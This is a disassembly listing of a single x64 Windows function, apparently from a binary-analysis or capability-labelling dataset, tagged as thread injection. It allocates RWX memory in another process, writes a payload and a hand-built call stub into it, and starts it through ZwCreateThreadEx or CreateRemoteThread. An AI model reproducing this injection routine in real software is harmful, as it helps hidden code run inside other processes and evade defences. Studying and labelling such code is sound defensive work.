Function at 0x18000b854
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Inject thread
Spawn thread to rwx shellcode

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x5f]
sub rsp, 0x90
xorps xmm0, xmm0
mov edi, r8d
xor r13d, r13d
mov rbx, rcx
lea rcx, [rbp + 0x7f]
mov dword [rbp + 0x7f], r13d
mov rsi, rdx
movups xmmword [rbp + 0x17], xmm0
lea r8d, [r13 + 4]
movups xmmword [rbp + 0x27], xmm0
call qword [sym.imp.ntdll.dll_memcpy]
mov rcx, rsi
call fcn.18000b72c
mov r8d, dword [rbp + 0x7f]
xor edx, edx
mov r9d, 0x3000
mov dword [rsp + 0x20], 0x40
mov rcx, rbx
mov r14d, eax
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r15, rax
test rax, rax
jne 0x18000b8db
call qword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x18000bb18
mov r9d, dword [rbp + 0x7f]
lea r8, [rsi + 4]
mov rdx, r15
mov qword [rsp + 0x20], r13
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x18000b8d0
mov r9d, 0x3000
mov dword [rsp + 0x20], 4
mov r8, rdi
xor edx, edx
mov rcx, rbx
mov r12, rdi
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rdi, rax
test rax, rax
je 0x18000b8d0
mov r9, r12
mov qword [rsp + 0x20], r13
mov r8, rsi
mov rdx, rax
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x18000b8d0
mov r12d, 0x20
mov dword [rsp + 0x20], 0x40
mov r8d, r12d
mov r9d, 0x1000
xor edx, edx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rsi, rax
test rax, rax
je 0x18000b8d0
cmp r14d, 0x40
jne 0x18000b9d7
sub edi, esi
mov dword [rbp + 0x17], 0x28ec8348
sub edi, 0xb
mov word [rbp + 0x1b], 0x8d48
mov eax, edi
mov byte [rbp + 0x1e], dil
shr eax, 8
mov ecx, r15d
mov byte [rbp + 0x1f], al
sub ecx, esi
sub ecx, 0x10
mov byte [rbp + 0x1d], reloc.WS2_32.dll_listen
mov eax, edi
mov byte [rbp + 0x23], cl
shr eax, 0x10
mov byte [rbp + 0x20], al
mov eax, ecx
shr eax, 8
mov byte [rbp + 0x24], al
mov eax, ecx
shr eax, 0x10
shr edi, 0x18
shr ecx, 0x18
mov byte [rbp + 0x26], cl
mov byte [rbp + 0x21], dil
mov byte [rbp + 0x22], 0xe8
mov byte [rbp + 0x25], al
mov dword [rbp + 0x27], 0x8348c033
mov word [rbp + 0x2b], 0x28c4
mov byte [rbp + 0x2d], 0xc3
jmp 0x18000ba24
cmp r14d, r12d
jne 0x18000ba24
mov eax, edi
mov byte [rbp + 0x18], dil
shr eax, 8
mov ecx, r15d
mov byte [rbp + 0x19], al
sub ecx, esi
sub ecx, 0xa
mov byte [rbp + 0x17], 0x68
mov eax, edi
mov byte [rbp + 0x1d], cl
shr eax, 0x10
mov byte [rbp + 0x1a], al
mov eax, ecx
shr eax, 8
mov byte [rbp + 0x1e], al
mov eax, ecx
shr eax, 0x10
shr edi, 0x18
shr ecx, 0x18
mov byte [rbp + 0x20], cl
mov byte [rbp + 0x1b], dil
mov byte [rbp + 0x1c], 0xe8
mov byte [rbp + 0x1f], al
mov byte [rbp + 0x21], 0xc3
mov r9, r12
mov qword [rsp + 0x20], r13
lea r8, [rbp + 0x17]
mov rdx, rsi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x18000b8d0
lea rax, [rbp + 7]
mov dword [rbp + 7], r13d
mov r9d, r12d
mov qword [rsp + 0x20], rax
mov r8, r12
mov rdx, rsi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
mov r8d, dword [rbp + 0x7f]
lea rax, [rbp + 7]
mov r9d, r12d
mov qword [rsp + 0x20], rax
mov rdx, r15
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
cmp r14d, 0x40
jne 0x18000bae2
or qword [rbp + 0xf], 0xffffffffffffffff
lea rcx, [0x18005b8f8]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
lea rdx, str.ZwCreateThreadEx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x18000bb16
mov qword [rsp + 0x50], r13
lea rcx, [rbp + 0xf]
mov qword [rsp + 0x48], r13
mov r9, rbx
mov qword [rsp + 0x40], r13
xor r8d, r8d
mov qword [rsp + 0x38], r13
mov edx, 0x1fffff
mov dword [rsp + 0x30], r13d
mov qword [rsp + 0x28], r13
mov qword [rsp + 0x20], rsi
call rax
jmp 0x18000bb16
cmp r14d, r12d
jne 0x18000bb16
mov qword [rsp + 0x30], r13
mov r9, rsi
mov dword [rsp + 0x28], r13d
xor r8d, r8d
xor edx, edx
mov qword [rsp + 0x20], r13
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
inc rax
test rax, 0xfffffffffffffffe
je 0x18000b8d0
xor eax, eax
lea r11, [rsp + 0x90]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret